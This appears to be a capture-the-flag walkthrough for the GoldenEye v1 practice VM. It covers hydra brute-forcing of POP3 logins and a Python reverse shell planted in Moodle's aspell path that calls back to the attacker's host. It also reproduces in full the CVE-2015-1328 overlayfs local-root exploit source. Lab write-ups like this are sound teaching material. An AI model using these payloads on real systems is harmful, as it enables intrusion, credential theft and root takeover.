_____________________________GoldenEye v1 OS______________________________

1) While importing the .ova file into your VB by double clicking it, change the network setting according to how your kali linux is set. Mine was set on “bridged adapter”, so I had to change my GoldenEye the same too.

2) Start it. Then on your kali machine, you can “netdiscover -i eth0” to look for the GoldenEye IP_addr. Usually the one with “PCS GmbH” hostname.

3) Copy and paste the ip_addr into a browser. It will inform you the path to follow for logging in “…/sev-home”/ Right click the page, and check the source page code, then click on the javascript file provided there “terminal.js”, sth like that. Read the .js file, it will say a lot about credentials to be used in the path for login. Username is “boris” and the password is a html encoded code. Go on “https://codebeautify.org/html-decode-string”, anything like that while can help you decoding your encoded strings. Then, copy and paste your encoded password found in terminal.js file there. After, copy it and go to that login page, paste it there along with the username “boris”. If well-done, your pwd should be “InvincibleHack3r”.
Note: while getting to that page, it will used a lot of your processor. Your sound of your machine may increase, and get hit. Stay there only when needed, or close the page, and reopen it when you need to try it.

4) Now you are in. Note: always when getting to a page while penetrating, try to view its source page code to see if any file, information are there so that you proceed with what you have to.

5) On your terminal, run nmap for getting ports_info about the OS ip_addr: nmap -p- -A ip_addr_of_GoldenEye,,, note the service linked to any port. For example, the pop3 is for email communication. While running nmap command, the port “55007” which relates to “pop3” might appear to be “unknown” if you’ve already close the tab of “sea-home” login.

6) Now, telnet its ip_addr along with the appropriate pop3 port to see if you can login in the terminal to read his email. “telnet ip_addr_of_GoldenEye 55007”. (Telnet is already enabled on GoldenEye OS) Note: if your telnet is not working, here is how to solve it in the “” below.“
If a PC running as a server, you might telnet its IP to see if it's used telnet server service. If not, while running this command in terminal "telnet 192.168.1.1" for example, it shows an error, like this: telnet: Unable to connect to remote host: Connection refused.
So, you should have physical access to that machine so that you go to the “Server manager —> add role and feature —> and check the option “telnet server” to install it. After the installation is completed, don’t go to kali linux yet to retype “telnet 192.168.1.1”, because that telnet service might still be disabled. 
Thus, go to that windows PC where you’ve just installed the telnet service, and press windows key   R and type there “services.msc”, then look there to find “telnet” service. If it is disabled, right-click on it, and choose “properties”, then enable it.
Now, go back to your kali machine and rerun that telnet command. It should work.
“
-So, locate “fasttrack.txt” file on your terminal. It’s a wordlist file which comes up with kali linux. Type “locate fasttrack.txt”, then press enter. 
Now, use the hydra command to attack the ip_addr pop3, so that you find the right password to enter in the telnet command. Type: 
“hydra -l boris -P /usr/share/wordlists/fasttrack.txt 192.blabla_Ip_addrOf_GoldenEye -s55007 pop3”, enter. 
“boris” is the username of course, the port “55007” is the port for pop3 while you let your login page opened since nmaped the ip_addr in step 5).

7) Being able to telnet the vulnerable ip_addr, in your terminal using: “192.168.1.168 55007”, type “USER boris”, then “PASS secret1!” (is the password getting from the brute force attack using fasttrack.txt file above in step6). Where you get the “FROM, TO, blabla, some email stuffs”, type “RETR 1” to find more information, some other people accounts, if not finding, try “RETR 2” or small letter like “retr2” it doesn’t matter, then press enter, and so on till you get “there is no message”. Type “QUIT” to quit the telnet terminal. 
If more users’ accounts are found, hydra them the same way as you did for “boris” in step 6 above. Instead of boris, type the user name, eg: natalya.

8) Now, open up the /etc/hosts file with a “gedit” editor, or a “vi” console, then add the GoldenEye ip_addr there along with the domain “severnaya-station .com/gnocertdir” found in the email they sent to Natalya in your telnet terminal; also notice all the credentials found in that email msg, such as username: Xenia, password: RCP90rulez!. Eg: 192.168.168  severnaya-station.com,,, then save it. Go to a browser and open that domain, it should match your GoldenEye ip_addr.

9) Following very well the step8, you will get into a module web page for student. There use the credentials given on your telnet terminal, written in step8 to login in. At the bottom of the page after logging in, click the message to read the email. You’ll find someone named “doak”, you can hydra it too to find more information about his credentials. After hydraing it, try to telnet it the same way you did for Natalia and her credentials.
So, again go to that severnaya module page, logout as Xenia, and login as “dr_doak” found in the telnet. 

10) Check to see under “my profile—>message” if there are any msgs, and/or in the “My private files”, just keep looking.

11) In the “My private files”, we have found a file named “s3cret.txt”. Download it, and read the information. It provides us a link where they said something juicy is in not image. So, add the given path to “severnaya…./dir007…”. Then save the image as to download it.
-So, to read an image, install the “exiftool” in kali linux, “apt-get install exiftool”. Then proceed in a terminal: “exiftool image_name.itsExtension”.

12) After pressing “enter” in the step11, look there very carefully, and look at the “Image Description” to see if something is encrypted and/or encoded. Usually, when an encoded text ends with 2 equal signs (==), it is a base64 encoded type. Now, you can use burpsuite to decode it, or from the terminal itself by typing: echo `echo the_encoded_text_found | base64 --decode`,,, then press enter. Note: before the second echo, is the back tick, not apostrophe. The back tick is usually the key button for “~” on your keyboard when pressing “shift + back tick”.

13) In that text file where we found the path “dir007…/“, it says that the secret key in that image is the admin password. So, after decoding it, go to the Moodle again, and login with “admin” as username, and copy and paste the decoded password there.

14) Now, you are logged in as administrator. If you want to know the version of that Moodle, check “site administration—>server—>environment”. Next step you can use, is google that version to see if there is any exploit for it. Type on google, or startpage “Moodle 2.2.0 exploit” for example. Read how it can get exploited. We can use metasploit to proceed, but in this case we will use another new method (manually) so that we get know many methods. In the Moodle page, click on the “system paths”, under the “server”. We will use the “path to aspell” to overwrite with reverse_shell payload. Type in google “pentestmonkey shell”, or right here “http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet”, then we’re gonna use the python code [python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]. So, copy the python code and paste it in the place of “path to aspell”. You’ll have to change the ip_addr in the code to your kali linux ip_addr, and choose any port, or let it as default. Save it!

15) Now, in the same Moodle page, click on the “plugins, Text editors, tinyMCE HTML editor” and make sure it is on “PSpellShell”, not on “google spell”. Save it! Hereafter, open up a new terminal, and run netcat by typing: “nc -nlvp Port_in_the_python_code_step14”. 
Then, in the same Moodle page, click “site pages, site blogs”, then write any title, and point your mouse on the “ABC with check V below”, it is the “Toggle spellchecker”. Control that netcat terminal to see the change, giving you a shell.

16) Use this python code: python -c ‘import pty; pty.spawn(“/bin/bash”)’,,, press enter.
      Now the goal is to escalate privileges. Type “uname -a” too see which linux ubuntu version you have. After knowing it, go to google and type “ubuntu blabla_version privilege escalation”. Then, use this page “https://www.exploit-db.com/exploits/37292”, then copy this code below and create a new c file in /var/www/html/, and paste it inside. Eg: bla.c, or 32293.c.

//===============================
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

//===============================

17) Start apache service: service apache2 start

18) Go to the netcat terminal where you had a shell tty, after you got the info via “uname -a”. Type cd /tmp,,, press enter. Then type: wget http://IP_addr_of_kali_linux/bla.c,,, or any name like 32293.c, so that you can type “ls” to see the files inside the “/tmp” directory. (NOTE: better to call the file with a number name, like “32293.c”.

19) Compile the 32293.c file: gcc 32293.c -o 32293,,, press enter. You’ll get an error, cause gcc is not installed in GoldenEye. Remember you are there in tty shell. So, open the 32293.c file again, search for “gcc”, then the one which you find where [lib = system (“gcc -fPIC…”);], delete that “g” from “gcc”. It will be: “cc 32293.c -o 32293”, then press enter.

20) Now, retype in the terminal “ls” to see the compiled file “32293”.  Then run the compiled file by typing: “./32293”, without quotes of course. And press enter. Boooooom !!! We get there, escalated it. Want to be sure?_type: “id”, and press enter; you’ll see that you are there as “root”.

21) Type “ls”, then “cd /root” to see if any files are there. If not, type “ls -lah”. Then, use “cat” command to open any found files. Don’t forget to include the dot “.” before any file if they contain it. Eg: “cat .flag.txt”, enter.